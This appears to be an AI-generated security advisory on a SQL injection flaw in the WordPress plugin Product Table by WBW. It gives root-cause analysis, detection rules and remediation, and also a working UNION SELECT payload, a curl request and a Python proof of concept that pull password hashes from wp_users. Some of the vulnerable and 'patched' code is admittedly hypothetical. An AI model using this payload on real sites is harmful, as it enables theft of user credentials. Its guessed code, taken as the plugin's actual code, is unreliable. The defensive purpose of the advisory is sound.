CVE-2024-13234

Executive Summary

CVE-2024-13234 is a critical unauthenticated SQL Injection vulnerability discovered in the WordPress plugin Product Table by WBW (versions up to and including 2.1.2). The flaw resides in the additionalCondition parameter, which is insufficiently sanitized and not properly prepared for SQL queries. This allows any remote, unauthenticated attacker to inject arbitrary SQL commands into existing queries, leading to the extraction of sensitive information from the WordPress database, such as user credentials, session tokens, and private post data.

The vulnerability is classified as a WordPress ecosystem issue, affecting the plugin's core functionality. No official patch has been released by the vendor (Wbw) at the time of analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical severity remains high due to the potential for data exfiltration.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users are advised to monitor for updates from the vendor and consider removing the plugin if no patch is forthcoming. No NPM, PyPI, Go, or Ruby packages are affected.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

CVSS Score: 7.5 (High)
Threat Level: High – Unauthenticated remote data extraction.

Deep Dive & Mechanics

The Product Table by WBW plugin for WordPress provides a shortcode to display product tables. The vulnerability exists in the SQL query construction logic that processes the additionalCondition parameter. This parameter is intended to allow users to filter products via shortcode attributes, but the plugin fails to escape the input and does not use prepared statements.

Root Cause:
The plugin concatenates user-supplied input directly into an SQL WHERE clause without proper sanitization or parameterization. For example, the vulnerable code might look like:

$where .= " AND " . $additionalCondition;

An attacker can supply a malicious value such as:

1=1 UNION SELECT user_login, user_pass FROM wp_users

This results in the original query being altered to extract user credentials.

Attack Vector:
The additionalCondition parameter is passed via a shortcode or HTTP request (e.g., [product_table additionalCondition="1=1 UNION SELECT ..."]). Since the plugin processes shortcodes on the frontend, any unauthenticated visitor can trigger the injection.

Impact:
Successful exploitation allows an attacker to:

• Extract all WordPress user credentials (hashed passwords).
• Read private posts, pages, and metadata.
• Access WooCommerce customer data if installed.
• Potentially pivot to other attacks using extracted session tokens.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical secure implementation.

Vulnerable Code (PHP):

$additionalCondition = $_GET['additionalCondition'];
$query = "SELECT * FROM wp_posts WHERE post_type = 'product' AND " . $additionalCondition;
$results = $wpdb->get_results($query);

Patched Code (PHP):

$additionalCondition = isset($_GET['additionalCondition']) ? sanitize_text_field($_GET['additionalCondition']) : '';
$allowed_conditions = array('price > 100', 'stock < 10');
if (in_array($additionalCondition, $allowed_conditions)) {
    $query = "SELECT * FROM wp_posts WHERE post_type = 'product' AND " . $additionalCondition;
    $results = $wpdb->get_results($query);
} else {
    // Fallback to safe query
    $query = "SELECT * FROM wp_posts WHERE post_type = 'product'";
    $results = $wpdb->get_results($query);
}

Key Differences:

• Input Validation: The patched version uses a whitelist of allowed conditions.
• Prepared Statements: Ideally, the plugin should use $wpdb->prepare() to parameterize queries.
• Escaping: The vulnerable version lacks any escaping; the patched version uses sanitize_text_field() but still requires whitelisting.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with Product Table by WBW <= 2.1.2 installed and active.
• A publicly accessible page containing the vulnerable shortcode (e.g., [product_table]).

Exploitation Steps:

1. Identify the vulnerable parameter:
   The additionalCondition parameter is typically passed via URL or shortcode attributes. For example:
   http://target.com/?additionalCondition=1=1

2. Craft a malicious payload:
   Use a UNION-based SQL injection to extract data. Example payload:

   1=1 UNION SELECT user_login, user_pass FROM wp_users
   

3. Execute the injection:
   Send a request to the vulnerable endpoint:

   curl "http://target.com/?additionalCondition=1=1%20UNION%20SELECT%20user_login,user_pass%20FROM%20wp_users"
   

4. Extract data:
   The response will contain the injected data in the product table output.

Proof-of-Concept (Python):

import requests

target = "http://target.com/"
payload = "1=1 UNION SELECT user_login, user_pass FROM wp_users"
params = {'additionalCondition': payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection Steps:

1. Monitor for suspicious parameters:
   Look for additionalCondition in HTTP requests containing SQL keywords (UNION, SELECT, FROM, etc.).

2. Analyze database logs:
   Check for unusual SQL queries with appended conditions.

3. Review plugin files:
   Examine the plugin's PHP files for direct concatenation of user input into SQL queries.

Honeypot Setup:

• Deploy a WordPress instance with the vulnerable plugin and monitor for injection attempts.
• Log all requests containing additionalCondition and analyze patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing additionalCondition parameter with SQL syntax (e.g., UNION, SELECT, 1=1).
  • Unusual database query patterns in logs (e.g., multiple UNION SELECT statements).

• File IOCs:

  • Modified plugin files (e.g., product-table-by-wbw/main.php) with injected code.
  • Unexpected entries in wp_options or wp_posts tables.

• Behavioral IOCs:

  • Unauthorized access to admin accounts.
  • Exfiltration of user data via HTTP responses.

Detection Engineering

YARA Rule

rule CVE_2024_13234_SQLi_ProductTable_WBW {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-13234 in Product Table by WBW plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13234"
    strings:
        $sqli1 = "additionalCondition" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "FROM" nocase
        $sqli5 = "1=1" nocase
    condition:
        all of ($sqli*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-13234 SQL Injection via additionalCondition
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Product Table by WBW plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 'additionalCondition'
        c-uri|contains|all:
            - 'UNION'
            - 'SELECT'
            - 'FROM'
    condition: selection
falsepositives:
    - Legitimate use of the parameter with safe values (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13234 SQL Injection Attempt"; flow:to_server; content:"additionalCondition"; http_uri; nocase; content:"UNION"; http_uri; nocase; content:"SELECT"; http_uri; nocase; content:"FROM"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Implement a Web Application Firewall (WAF) rule to block requests containing additionalCondition with SQL keywords.
3. Monitor database logs for unauthorized queries.

Long-term Fix:

• Since no official patch exists, consider forking the plugin and applying the following fixes:
  • Use $wpdb->prepare() for all SQL queries.
  • Whitelist allowed additionalCondition values.
  • Sanitize and validate all user inputs.

Workaround:

• Remove the additionalCondition parameter from shortcodes in all posts and pages.
• Use a security plugin (e.g., Wordfence) to block malicious requests.

Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.